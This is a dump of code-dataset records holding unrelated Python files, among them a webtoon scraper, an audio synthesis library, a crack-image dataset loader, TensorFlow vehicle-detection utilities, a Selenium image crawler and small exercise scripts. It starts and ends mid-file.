info.find('dd', class_ = 'date2').text.strip()\n title = info.a['title']\n all_wt_latest_update_dict[title] = latest_update\n for wt in current_wt_list:\n if wt in all_wt_latest_update_dict.keys():\n wt_latest_update_dict[wt] = all_wt_latest_update_dict[wt]\n\n for wt in wt_latest_update_dict:\n mylogger.info(wt, ':', wt_latest_update_dict[wt])\n return wt_latest_update_dict\n\n# print(wt_latest_update_dict())\n\n\n# 현재 연재 중인 웹툰의 연재 요일 별 연재 작품 수\ndef weekday_count_dict():\n weekdays = ['mon', 'tue', 'wed', 'thu', 'fri', 'sat', 'sun']\n weekday_count_dict = {}\n for weekday in weekdays:\n weekday_count_dict[weekday] = 0\n for weekday in weekdays:\n for dates in wt_publish_date_dict().values():\n if weekday in dates:\n weekday_count_dict[weekday] += 1\n\n for weekday in weekday_count_dict:\n mylogger.info(weekday, ':', weekday_count_dict[weekday])\n return weekday_count_dict\n\n# print(weekday_count_dict())\n\n\n# 현재 연재 중인 웹툰의 최근 작품 스토리 횟수\ndef wt_latest_episode_num_dict():\n wt_latest_episode_num_dict = {}\n current_wt_list = wt_list()\n current_wt_url_num_dict = wt_url_num_dict()\n\n for wt in current_wt_list:\n url = wt_reading_list_wt + current_wt_url_num_dict[wt]\n infos = get_info_by_tag(url, 'td', tag_class='title')\n wt_latest_episode_num_dict[wt] = int(infos[0].a['href'].split('=')[-2].split('&')[0])\n\n for wt in wt_latest_episode_num_dict:\n mylogger.info(wt, ':', wt_latest_episode_num_dict[wt])\n\n return wt_latest_episode_num_dict\n\n# print(wt_latest_episode_num_dict())\n\n\n# 현재 연재 중인 웹툰의 최근 10회 동안의 별점 참여자 수 총합\ndef wt_rating_participants_dict():\n wt_rating_participants_dict = {}\n current_wt_list = wt_list()\n current_wt_latest_episode_num_dict = wt_latest_episode_num_dict()\n current_wt_url_num_dict = wt_url_num_dict()\n\n for wt in current_wt_list:\n if int(current_wt_latest_episode_num_dict[wt]) >= 10:\n set_num = 10\n else:\n set_num = int(current_wt_latest_episode_num_dict[wt])\n wt_url = current_wt_url_num_dict[wt]\n latest_episode_num = current_wt_latest_episode_num_dict[wt]\n rating_participants = 0\n for i in range(0, set_num):\n url = url_reading_wt + wt_url + '&no=' + str(latest_episode_num)\n infos = get_info_by_tag(url, 'div', 'rating_type4')\n if len(infos) == 0:\n rating_participants = 0\n else:\n point_total_person = infos[0].find('span', 'pointTotalPerson').em.text\n rating_participants += int(point_total_person)\n latest_episode_num = str(int(latest_episode_num) - 1)\n wt_rating_participants_dict[wt] = rating_participants\n\n for wt in wt_rating_participants_dict:\n mylogger.info(wt, ':', wt_rating_participants_dict[wt])\n return wt_rating_participants_dict\n\n# print(wt_rating_participants_dict())\n\n\n# 웹툰 데이터프레임 구성\ndef wt_dict():\n wt_dict = pd.DataFrame({'dates' : pd.Series(wt_publish_date_dict()),\n 'large_genre' : pd.Series(wt_genre_dict(classi='large')),\n 'small_genre' : pd.Series(wt_genre_dict(classi='small')),\n 'cartoonist' : pd.Series(wt_cartoonist_dict()),\n 'latest_update_date' : pd.Series(wt_latest_update_dict()),\n 'average_rating_star' : pd.Series(wt_rating_type_dict()),\n 'url_number' : pd.Series(wt_url_num_dict()),\n 'rank_by_dates' : pd.Series(wt_rank_dict(count = 'all')),\n 'average_rank' : pd.Series(wt_rank_dict(count = 'average')),\n 'latest_episode_number' : pd.Series(wt_latest_episode_num_dict()),\n 'rating_participants' : pd.Series(wt_rating_participants_dict()),\n 'publish_times_per_week' : pd.Series(wt_publish_date_dict(info = 'times')),\n }\n )\n return wt_dict\n\n\ndef save_wt_data():\n if 'dataset' in os.listdir():\n pass\n else:\n os.mkdir('datset')\n\n with open('dataset/wt_dict.txt', 'wb') as f:\n pickle.dump(wt_dict(), f)\n\n\ndef load_wt_data():\n with open('dataset/wt_dict.txt', 'rb') as f:\n data = pickle.load(f)\n\n return data\n\n\nsave_wt_data()\n\n\n\nif __name__ == '__main__':\n wt_list()\n wt_publish_date_dict(info='dates')\n wt_publish_date_dict(info='times')\n genre_list(classification='all')\n wt_genre_dict(classi='large')\n wt_genre_dict(classi='small')\n wt_url_num_dict()\n wt_rating_type_dict()\n wt_cartoonist_dict()\n wt_latest_update_dict()\n weekday_count_dict()\n wt_latest_episode_num_dict()\n wt_rating_participants_dict()","sub_path":"webtoon_dict.py","file_name":"webtoon_dict.py","file_ext":"py","file_size_in_byte":11319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"505159807","text":"def cal(n, k, r, add, sub, mul, div):\n global minNum, maxNum\n if n==k:\n if maxNum < r:\n maxNum = r\n if minNum > r:\n minNum = r\n else:\n if add > 0:\n cal(n+1, k, r+card[n], add-1, sub, mul, div)\n if sub > 0:\n cal(n+1, k, r-card[n], add, sub-1, mul, div)\n if mul > 0:\n cal(n+1, k, r*card[n], add, sub, mul-1, div)\n if div > 0:\n cal(n+1, k, int(r/card[n]), add, sub, mul, div-1)\n\nT = int(input())\nfor tc in range(1, T+1):\n N = int(input())\n add, sub, mul, div = map(int, input().split())\n card = list(map(int, input().split()))\n minNum = 10**8\n maxNum = -10**8\n cal(1, N, card[0], add, sub, mul, div)\n print('#{} {}'.format(tc, maxNum-minNum))","sub_path":"swea_study/cert_A/trial_test/0302_4008_make_number.py","file_name":"0302_4008_make_number.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"644629866","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport struct\nimport argparse\nfrom itertools import *\n\nfrom . import wave\nfrom .util import *\nfrom .dsp import *\nfrom .optimize import *\n\n# Experimental python3 compatibility.\ntry:\n from itertools import izip\nexcept ImportError:\n izip = zip\n imap = map\n izip_longest = zip_longest\n\n__author__ = 'Veit Heller'\n__author_mail__ = 'veit@veitheller.de'\n__version__ = '0.3.1'\n__url__ = 'http://github.com/VetoProjects/AudioPython'\n__longdescr__ = \"\"\"\n An audio library based on wave-bender\n (https://github.com/zacharydenton/wavebender)\n for live coding music.\n \"\"\"\n__classifiers__ = ['Topic :: Multimedia :: Sound/Audio',\n 'Topic :: Multimedia :: Sound/Audio :: Sound Synthesis']\n__keywords__ = ['audio', 'live coding', 'music']\n\n\n@make_constants(True)\ndef compute_samples(channels, nsamples=None):\n \"\"\"\n Creates a generator which computes the samples.\n\n essentially it creates a sequence of the sum of each function in the\n channel at each sample in the file for each channel.\n \"\"\"\n return islice(izip(*(imap(sum, izip(*channel)) for channel in channels)),\n nsamples)\n\n\n@make_constants()\ndef write_wavefile(w, samples, nframes=None, nchannels=2, sampwidth=2,\n framerate=44100, bufsize=2048):\n \"\"\"Write samples to a wavefile.\"\"\"\n if nframes is None:\n nframes = -1\n\n w = wave.open(w, 'w')\n\n w.setparams((nchannels, sampwidth, framerate, nframes, 'NONE',\n 'not compressed'))\n\n max_amplitude = float(int((2 ** (sampwidth * 8)) / 2) - 1)\n\n # split the samples into chunks\n # (to reduce memory consumption and improve performance)\n for chunk in grouper(bufsize, samples):\n frames = b''.join(b''.join(struct.pack('h',\n int(max_amplitude * sample))\n for sample in channels)\n for channels in chunk if channels is not None)\n w.writeframesraw(frames)\n\n w.close()\n\n\n@make_constants()\ndef yield_raw(samples, nframes=None, nchannels=2, sampwidth=2,\n framerate=44100, bufsize=2048):\n \"\"\"Yield Raw Samples.\"\"\"\n if nframes is None:\n nframes = -1\n\n max_amplitude = float(int((2 ** (sampwidth * 8)) / 2) - 1)\n\n for chunk in grouper(bufsize, samples):\n frames = b''.join(b''.join(struct.pack('h',\n int(max_amplitude * sample))\n for sample in channels)\n for channels in chunk if channels is not None)\n yield frames\n\n\n@make_constants()\ndef write_pcm(f, samples, sampwidth=2, framerate=44100, bufsize=2048):\n \"\"\"Write samples as raw PCM data.\"\"\"\n max_amplitude = float(int((2 ** (sampwidth * 8)) / 2) - 1)\n\n if type(f) is str:\n f = open(f, 'w')\n\n for chunk in grouper(bufsize, samples):\n frames = b''.join(b''.join(struct.pack('h',\n int(max_amplitude * sample))\n for sample in channels)\n for channels in chunk if channels is not None)\n f.write(frames)\n\n f.close()\n\n\ndef main():\n parser = argparse.ArgumentParser(prog=\"AudioPython\")\n parser.add_argument('-c', '--channels',\n help=\"Number of channels to produce\",\n default=2, type=int)\n parser.add_argument('-b', '--bits',\n help=\"Number of bits in each sample\",\n choices=(16,), default=16, type=int)\n parser.add_argument('-r', '--rate', help=\"Sample rate in Hz\",\n default=44100, type=int)\n parser.add_argument('-t', '--time',\n help=\"Duration of the wave in seconds.\",\n default=60, type=int)\n parser.add_argument('-a', '--amplitude',\n help=\"Amplitude of the wave on a scale of 0.0-1.0.\",\n default=0.5, type=float)\n parser.add_argument('-f', '--frequency',\n help=\"Frequency of the wave in Hz\",\n default=440.0, type=float)\n parser.add_argument('filename', help=\"The file to generate.\")\n args = parser.parse_args()\n\n # each channel is defined by infinite functions\n # which are added to produce a sample.\n channels = ((sine_wave(args.frequency, args.rate, args.amplitude),)\n for i in range(args.channels))\n\n # convert the channel functions into waveforms\n samples = compute_samples(channels, args.rate * args.time)\n\n # write the samples to a file\n if args.filename == '-':\n filename = sys.stdout\n else:\n filename = args.filename\n write_wavefile(filename, samples, args.rate * args.time,\n args.channels, args.bits / 8, args.rate)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"AudioPython/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"32179329","text":"import os\n\nimport torch\nfrom PIL import Image\nfrom torch.utils.data import Dataset\n\n\nclass ConcreteCracksDataset(Dataset):\n \"\"\"\n Concrete Crack Images for Classification Dataset.\n\n http://dx.doi.org/10.17632/5y9wdsg2zt.2\n \"\"\"\n\n def __init__(self, root_dir, split: str = \"train\", abnormal_data: bool = False, transform=None):\n \"\"\"\n Args:\n root_dir (string): Directory with all the images.\n transform (callable, optional): Optional transform to be applied\n on a sample.\n \"\"\"\n self.root_dir = root_dir\n self.transform = transform\n\n self.train_split = 0.65\n self.val_split = 0.15\n self.test_split = 0.2\n\n self.possible_splits = [\n \"train\",\n \"val\",\n \"test\"\n ]\n\n assert split in self.possible_splits, \"Chosen split '{}' is not valid\".format(split)\n\n self.split = split\n self.abnormal_data = abnormal_data\n\n self.data_dir_normal = os.path.join(self.root_dir, \"Negative\")\n self.data_dir_abnormal = os.path.join(self.root_dir, \"Positive\")\n\n # Use same splits for both normal and abnormal training\n assert len(os.listdir(self.data_dir_normal)) == len(os.listdir(self.data_dir_abnormal))\n\n self.train_index = round(len(os.listdir(self.data_dir_normal)) * self.train_split)\n self.val_index = round(len(os.listdir(self.data_dir_normal)) * self.val_split)\n\n self.train_length = len(os.listdir(self.data_dir_normal)[:self.train_index])\n self.val_length = len(os.listdir(self.data_dir_normal)[self.train_index:self.train_index + self.val_index])\n self.test_length = len(os.listdir(self.data_dir_normal)[self.train_index + self.val_index:])\n\n def __len__(self):\n if self.split == \"train\":\n return self.train_length\n elif self.split == \"val\":\n return self.val_length\n else:\n return self.test_length\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n\n if not self.abnormal_data:\n data_dir = self.data_dir_normal\n label = 0\n else:\n data_dir = self.data_dir_abnormal\n label = 1\n\n if self.split == \"train\":\n image_path = os.path.join(data_dir, os.listdir(data_dir)[idx])\n elif self.split == \"val\":\n image_path = os.path.join(data_dir, os.listdir(data_dir)[self.train_index + idx])\n else:\n image_path = os.path.join(data_dir, os.listdir(data_dir)[self.train_index + self.val_index + idx])\n\n img = Image.open(image_path)\n\n if self.transform:\n img = self.transform(img)\n\n return img, label\n\n\nclass ConcreteCracksDatasetNoDistinction(ConcreteCracksDataset):\n def __init__(self, root_dir, split: str = \"train\", transform=None):\n super().__init__(root_dir=root_dir, split=split, transform=transform)\n\n self.train_data = (\n [os.path.join(self.data_dir_normal, x) for x in\n os.listdir(self.data_dir_normal)[:self.train_index]] +\n [os.path.join(self.data_dir_abnormal, x) for x in\n os.listdir(self.data_dir_abnormal)[:self.train_index]]\n )\n\n self.val_data = (\n [os.path.join(self.data_dir_normal, x) for x in\n os.listdir(self.data_dir_normal)[self.train_index:self.train_index + self.val_index]] +\n [os.path.join(self.data_dir_abnormal, x) for x in\n os.listdir(self.data_dir_abnormal)[self.train_index:self.train_index + self.val_index]]\n )\n\n self.test_data = (\n [os.path.join(self.data_dir_normal, x) for x in\n os.listdir(self.data_dir_normal)[self.train_index + self.val_index:]] +\n [os.path.join(self.data_dir_abnormal, x) for x in\n os.listdir(self.data_dir_abnormal)[self.train_index + self.val_index:]]\n )\n\n self.train_data_length = len(self.train_data)\n self.val_data_length = len(self.val_data)\n self.test_data_length = len(self.test_data)\n\n def __len__(self):\n if self.split == \"train\":\n return self.train_data_length\n elif self.split == \"val\":\n return self.val_data_length\n else:\n return self.test_data_length\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n\n if self.split == \"train\":\n data = self.train_data\n if idx >= self.train_length:\n label = 1\n else:\n label = 0\n elif self.split == \"val\":\n data = self.val_data\n if idx >= self.val_length:\n label = 1\n else:\n label = 0\n else:\n data = self.train_data\n if idx >= self.test_length:\n label = 1\n else:\n label = 0\n\n img = Image.open(data[idx])\n\n if self.transform:\n img = self.transform(img)\n\n return img, label\n","sub_path":"datasets/concrete_cracks.py","file_name":"concrete_cracks.py","file_ext":"py","file_size_in_byte":5168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"193893058","text":"# Utilities for object detector.\n\nimport numpy as np\nimport sys\nimport tensorflow as tf\n# from vehicle.hand_detection import Ui_MainWindow\nimport os\nfrom threading import Thread\nfrom datetime import datetime\nimport cv2\nfrom utils import label_map_util\nfrom collections import defaultdict\nfrom utils import alertcheck\ndetection_graph = tf.Graph()\nfrom object_detection.utils import ops as utils_ops\nTRAINED_MODEL_DIR = 'frozen_graphs'\n# Path to frozen detection graph. This is the actual model that is used for the object detection.\nPATH_TO_CKPT = TRAINED_MODEL_DIR + '/coco_frozen_inference_graph.pb'\n# List of the strings that is used to add correct label for each box.\nPATH_TO_LABELS = TRAINED_MODEL_DIR + '/mscoco_label_map.pbtxt'\n\nNUM_CLASSES = 90\n# load label map using utils provided by tensorflow object detection api\nlabel_map = label_map_util.load_labelmap(PATH_TO_LABELS)\ncategories = label_map_util.convert_label_map_to_categories(\n label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\ncategory_index = label_map_util.create_category_index(categories)\n\na=b=0\n\n# Load a frozen infrerence graph into memory\ndef load_inference_graph():\n\n # load frozen tensorflow model into memory\n \n print(\"> ====== Loading frozen graph into memory\")\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n sess = tf.Session(graph=detection_graph)\n print(\"> ====== Inference graph loaded.\")\n return detection_graph, sess\n\n\ndef draw_box_on_image(num_hands_detect, score_thresh, scores, boxes, classes, im_width, im_height, image_np,Line_Position2,Orientation):\n # Determined using a piece of paper of known length, code can be found in distance to camera\n # print(image_np,\"qqqqq\")\n focalLength = 875\n # The average width of a human hand (inches) http://www.theaveragebody.com/average_hand_size.php\n # added an inch since thumb is not included\n avg_width = 4.0\n # To more easily differetiate distances and detected bboxes\n\n global a,b\n hand_cnt=0\n color = None\n color0 = (255,0,0)\n color1 = (0,50,255)\n for i in range(num_hands_detect):\n # print(a,b)\n \n if (scores[i] > score_thresh):\n print(scores[i])\n \n #no_of_times_hands_detected+=1\n #b=b+1\n #b=1\n #print(b)\n if classes[i] not in [3,6]:\n continue\n if classes[i] == 3:\n id = 'car'\n #b=1\n #\n # if classes[i] == 4:\n # id ='motorcycle'\n # avg_width = 3.0 # To compensate bbox size change\n # #b=1\n\n if classes[i] == 6:\n id = 'bus'\n #b=1\n\n # if classes[i] == 8:\n # id = 'truck'\n # #b=1\n \n # if i == 0: color = color0\n # else:\n color = color1\n (left, right, top, bottom) = (boxes[i][1] * im_width, boxes[i][3] * im_width,\n boxes[i][0] * im_height, boxes[i][2] * im_height)\n p1 = (int(left), int(top))\n p2 = (int(right), int(bottom))\n # print(p1,p2)\n\n # dist = distance_to_camera(avg_width, focalLength, int(right-left))\n #\n # if dist:\n # hand_cnt=hand_cnt+1\n cv2.rectangle(image_np, p1, p2, color , 3, 1)\n \n\n cv2.putText(image_np, id, (int(left), int(top)-5),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5 , color, 2)\n\n cv2.putText(image_np, 'confidence: '+str(\"{0:.2f}\".format(scores[i])),\n (int(left),int(top)-20),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,255,0), 2)\n\n # cv2.putText(image_np, 'distance from camera: '+str(\"{0:.2f}\".format(dist)+' inches'),\n # (int(im_width*0.65),int(im_height*0.9+30*i)),\n # cv2.FONT_HERSHEY_SIMPLEX, 0.3, color, 2)\n \n # a=alertcheck.drawboxtosafeline(image_np,p1,p2,Line_Position2,Orientation)\n\n # if p2[1]>500 and classes[i] == 3 :\n # print(\"car\",a)\n a= np.count_nonzero(classes ==3)\n # Ui_MainWindow.setupUi.lineEdit_2.setText(str(a))\n #print(\" no hand\")\n # else:\n b= np.count_nonzero(classes ==6)\n # Ui_MainWindow.setupUi.lineEdit_3.setText(str(b))\n #print(\" hand\")\n \n return a,b\n\n# Show fps value on image.\ndef draw_text_on_image(fps, image_np):\n print(\"ffgg\")\n cv2.putText(image_np, fps, (20, 50),\n cv2.FONT_HERSHEY_SIMPLEX, 0.75, (77, 255, 9), 2)\n# compute and return the distance from the hand to the camera using triangle similarity\ndef distance_to_camera(knownWidth, focalLength, pixelWidth):\n return (knownWidth * focalLength) / pixelWidth\n\n# Actual detection .. generate scores and bounding boxes given an image\ndef detect_objects(image_np, detection_graph, sess):\n # Definite input and output Tensors for detection_graph\n image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n # Each box represents a part of the image where a particular object was detected.\n detection_boxes = detection_graph.get_tensor_by_name(\n 'detection_boxes:0')\n # Each score represent how level of confidence for each of the objects.\n # Score is shown on the result image, together with the class label.\n detection_scores = detection_graph.get_tensor_by_name(\n 'detection_scores:0')\n detection_classes = detection_graph.get_tensor_by_name(\n 'detection_classes:0')\n num_detections = detection_graph.get_tensor_by_name(\n 'num_detections:0')\n\n image_np_expanded = np.expand_dims(image_np, axis=0)\n\n (boxes, scores, classes, num) = sess.run(\n [detection_boxes, detection_scores,\n detection_classes, num_detections],\n feed_dict={image_tensor: image_np_expanded})\n return np.squeeze(boxes), np.squeeze(scores), np.squeeze(classes)\n\n# def run_inference_for_single_image(image, graph):\n# with graph.as_default():\n# with tf.Session() as sess:\n# # Get handles to input and output tensors\n# ops = tf.get_default_graph().get_operations()\n# all_tensor_names = {output.name for op in ops for output in op.outputs}\n# tensor_dict = {}\n# for key in [\n# 'num_detections', 'detection_boxes', 'detection_scores',\n# 'detection_classes', 'detection_masks'\n# ]:\n# tensor_name = key + ':0'\n# if tensor_name in all_tensor_names:\n# tensor_dict[key] = tf.get_default_graph().get_tensor_by_name(\n# tensor_name)\n# if 'detection_masks' in tensor_dict:\n# # The following processing is only for single image\n# detection_boxes = tf.squeeze(tensor_dict['detection_boxes'], [0])\n# detection_masks = tf.squeeze(tensor_dict['detection_masks'], [0])\n# # Reframe is required to translate mask from box coordinates to image coordinates and fit the image size.\n# real_num_detection = tf.cast(tensor_dict['num_detections'][0], tf.int32)\n# detection_boxes = tf.slice(detection_boxes, [0, 0], [real_num_detection, -1])\n# detection_masks = tf.slice(detection_masks, [0, 0, 0], [real_num_detection, -1, -1])\n# detection_masks_reframed = utils_ops.reframe_box_masks_to_image_masks(\n# detection_masks, detection_boxes, image.shape[0], image.shape[1])\n# detection_masks_reframed = tf.cast(\n# tf.greater(detection_masks_reframed, 0.5), tf.uint8)\n# # Follow the convention by adding back the batch dimension\n# tensor_dict['detection_masks'] = tf.expand_dims(\n# detection_masks_reframed, 0)\n# image_tensor = tf.get_default_graph().get_tensor_by_name('image_tensor:0')\n# # print(image_tensor)\n#\n# # Run inference\n# output_dict = sess.run(tensor_dict,\n# feed_dict={image_tensor: image})\n#\n# # image_np_expanded = np.expand_dims(image, axis=0)\n# #\n# #\n# # (boxes, scores, classes, num) = sess.run(\n# # [tensor_dict['detection_boxes'], tensor_dict['detection_scores'],\n# # tensor_dict['detection_scores'], tensor_dict['num_detections']],\n# # feed_dict={image_tensor: image_np_expanded})\n# # return np.squeeze(boxes), np.squeeze(scores), np.squeeze(classes)\n#\n#\n# # all outputs are float32 numpy arrays, so convert types as appropriate\n# output_dict['num_detections'] = int(output_dict['num_detections'][0])\n# output_dict['detection_classes'] = output_dict[\n# 'detection_classes'][0].astype(np.uint8)\n# output_dict['detection_boxes'] = output_dict['detection_boxes'][0]\n# output_dict['detection_scores'] = output_dict['detection_scores'][0]\n# if 'detection_masks' in output_dict:\n# output_dict['detection_masks'] = output_dict['detection_masks'][0]\n# return output_dict['detection_boxes'],output_dict['detection_scores'],output_dict['detection_classes']\n","sub_path":"vehicle/utils/detector_utils.py","file_name":"detector_utils.py","file_ext":"py","file_size_in_byte":9423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"7028681","text":"import urllib\nfrom bs4 import BeautifulSoup as bs\nfrom urllib.parse import urlencode, quote_plus, unquote\nfrom urllib.request import urlopen, urlretrieve\nimport urllib\nimport os\nimport cv2\nimport numpy as np\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\nimport urllib.request\n\ndef naver_crawling(find_namelist):\n for i in range(2):\n path = './MJK/data/image2/'+str(i+2)+'/'\n os.makedirs(path, exist_ok=True)\n driver = webdriver.Chrome('./Common_Code/chromedriver.exe')\n driver.get(\n \"https://search.naver.com/search.naver?where=image&sm=tab_jum&query=\")\n\n elem = driver.find_element_by_name(\"query\")\n elem.send_keys(find_namelist[i+2])\n elem.send_keys(Keys.RETURN)\n\n SCROLL_PAUSE_TIME = 1\n # Get scroll height\n last_height = driver.execute_script(\"return document.body.scrollHeight\")\n while True:\n # Scroll down to bottom\n driver.execute_script(\n \"window.scrollTo(0, document.body.scrollHeight);\")\n # Wait to load page\n time.sleep(SCROLL_PAUSE_TIME)\n # Calculate new scroll height and compare with last scroll height\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\n if new_height == last_height:\n try:\n driver.find_element_by_css_selector(\".more_img\").click()\n except:\n break\n last_height = new_height\n\n # images = driver.find_elements_by_css_selector(\"._img\")\n images = driver.find_elements_by_css_selector(\".img_border\")\n count = 1000\n for image in images:\n try:\n image.click()\n time.sleep(1)\n imgUrl = driver.find_element_by_xpath(\n \"/html/body/div[4]/div[2]/div[2]/div/a/img\").get_attribute(\"src\")\n opener = urllib.request.build_opener()\n opener.addheaders = [\n ('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1941.0 Safari/537.36')]\n urllib.request.install_opener(opener)\n urllib.request.urlretrieve(imgUrl, path + str(count) + \".jpg\")\n count = count + 1\n except:\n pass\n\nif __name__ == '__main__':\n naver_crawling()","sub_path":"최종_프로젝트/ImageDetection/Common_Code/crawling/naver_crawling.py","file_name":"naver_crawling.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"75256753","text":"import re\n\n\ndef extrai_texto():\n '''\n Essa função é utilizada para extrair do arq_dados.txt a informação:\n - Current CBMC acceptance ratio: 27.52 % -. Observando que a porcentagem\n sempre muda ao longo do arquivo.\n '''\n\n with open('arq_dados_eq_out_NVT.txt') as t:\n arq_t = t.read()\n\n frase = re.compile(r'((\\w+)( )(\\w+)( )(\\w+)( )(\\w+):( )(\\d+).(\\d+)( )(%))')\n separador = frase.findall(arq_t)\n separador1 = [i[0] for i in separador]\n\n lista_dados = arq_t.split('\\n')\n for info in separador1:\n lista_dados.remove(info)\n\n with open('arq_dados_eq_out_NVT.dat', 'w') as f:\n f.write('\\n'.join(lista_dados))\n\n return f\n\n\ndef extrai_dados_output_eq():\n '''\n Essa função recebe o arquivo de output de uma simulação de equilíbrio,\n retira os dados de cabeçalho e cria um novo arquivo chamado de\n arq_dados.txt.\n '''\n\n with open(\"QPIAC.in.out\") as f:\n arq_inf = f.read()\n\n separador1 = '*' * 59\n separador2 = 'NMOVE'\n separador3 = 'P'\n separador4 = 'Averages'\n\n cabecalho = arq_inf.split(separador1)[1]\n string_dados = arq_inf.split(separador2)[1].split(separador4)[0]\n string_dados1 = string_dados.split(separador3)[1]\n \n with open('arq_dados_eq_out_NVT.txt', 'w') as f:\n f.write(string_dados1)\n\n return f\n\ndef extrai_dados_output_avr():\n '''\n Essa função extrai os dados do arquivo de médias *.avr de saidas\n em uma simulação DICE.\n '''\n\n with open('QPIAC_out.avr') as f:\n arq_inf = f.read()\n\n separador1 = 'NMOVE'\n separador2 = 'cv_intra'\n\n string_dados = arq_inf.split(separador1)[1].split(separador2)[1]\n\n with open('arq_dados_avr.txt', 'w') as f:\n f.write(string_dados)\n\n return f\n\nif __name__ == \"__main__\":\n\n extrai_dados_output_eq()\n #extrai_dados_output_avr()\n extrai_texto()\n","sub_path":"DICE_Quinopiranas/NVT/cloroformio/histograma_P_UN/extrai_dados_output-eq.py","file_name":"extrai_dados_output-eq.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"272268981","text":"a=int(input(\"Podaj dłogość boku A\"))\nb=int(input(\"Podaj długość boku B\"))\nc=int(input(\"Podaj dłogość boku C\"))\nif (a+b>c and b+c>a and a+c>b):\n print(\"Trójkąt istnieje\")\nelse:\n print(\"Trójkąt nieistnieje\")\nif(a**2+b**2==c**2):\n print(\"To trójkąt pitagorejski\")\n if(a%3==0 and b%4==0 and c%5==0):\n print(\"To trójkąt egipski\")\nelse:\n print(\"Trójkąt nie jest trójkątem pitagorejskim\")\n","sub_path":"1.11.twierdzeniePitagorasa.py","file_name":"1.11.twierdzeniePitagorasa.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"15811282","text":"from flask import Blueprint, render_template\nfrom flask_login import current_user, login_required\n\n\norders = Blueprint('orders', __name__)\n\n\n@orders.route('/orders')\n@login_required\ndef list_of_orders():\n user = current_user\n result_dict = {}\n for order in user.orders:\n for line in order.order_lines:\n try:\n result_dict['price'] += line.good.price\n except KeyError:\n result_dict['price'] = line.good.price\n return render_template('orders.html', orders=user.orders, amount=result_dict['price'])","sub_path":"grocery_store/routes/orders.py","file_name":"orders.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"150143165","text":"__author__ = 'Guido'\n\nimport re\n\nfrom commands.command import PickStartingRegionsCmd, DontMoveCmd, PlaceArmiesCmd, MoveCmd\nfrom commands.command import PickStartingRegionsRequestCmd, PlaceArmiesRequestCmd, MoveRequestCmd\nfrom commands.command import BotNameCmd, OpponentNameCmd, OpponentMovesCmd, SuperRegionsCmd, RegionsCmd, NeighborsCmd\nfrom commands.command import UpdateMapCmd, StartingArmiesCmd\n\n\nclass UnknownCommandException(Exception):\n def __init__(self, command):\n super(Exception, self).__init__(\"Unknown command: \" + command)\n\n\n__outputCommandByPattern = {\n PickStartingRegionsCmd.pattern: PickStartingRegionsCmd,\n DontMoveCmd.pattern: DontMoveCmd,\n PlaceArmiesCmd.pattern: PlaceArmiesCmd,\n MoveCmd.pattern: MoveCmd\n}\n__inputCommandByPattern = {\n \"settings your_bot\": BotNameCmd,\n \"settings opponent_bot\": OpponentNameCmd,\n \"setup_map super_regions\": SuperRegionsCmd,\n \"setup_map regions\": RegionsCmd,\n \"setup_map neighbors\": NeighborsCmd,\n \"pick_starting_regions\": PickStartingRegionsRequestCmd,\n \"settings starting_armies\": StartingArmiesCmd,\n \"update_map\": UpdateMapCmd,\n \"go place_armies\": PlaceArmiesRequestCmd,\n \"go attack/transfer\": MoveRequestCmd,\n \"opponent_moves\": OpponentMovesCmd\n}\n\n\ndef parse_input(line):\n command_by_pattern = __inputCommandByPattern\n for pattern in command_by_pattern.keys():\n if re.search(pattern, line):\n parameters = line.replace(pattern, \"\").strip()\n return command_by_pattern[pattern](parameters)\n raise UnknownCommandException(line)\n\n\ndef parse_output_parameter(line):\n command_by_pattern = __outputCommandByPattern\n for pattern in command_by_pattern.keys():\n match = re.search(pattern, line)\n if match:\n return command_by_pattern[pattern](line)\n raise UnknownCommandException(line)","sub_path":"src/commands/commandfactory.py","file_name":"commandfactory.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"76435778","text":"import joypy\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom matplotlib import cm\nimport os\nfrom autumn.db.database import Database\nfrom autumn.tool_kit.uncertainty import export_compartment_size, collect_iteration_weights, collect_all_mcmc_output_tables\nimport yaml\n\n\ndef get_perc_recovered_by_age_and_time(calibration_output_path, country_name, burn_in=500):\n mcmc_tables, output_tables, derived_output_tables = collect_all_mcmc_output_tables(\n calibration_output_path\n )\n weights = collect_iteration_weights(mcmc_tables, burn_in)\n\n 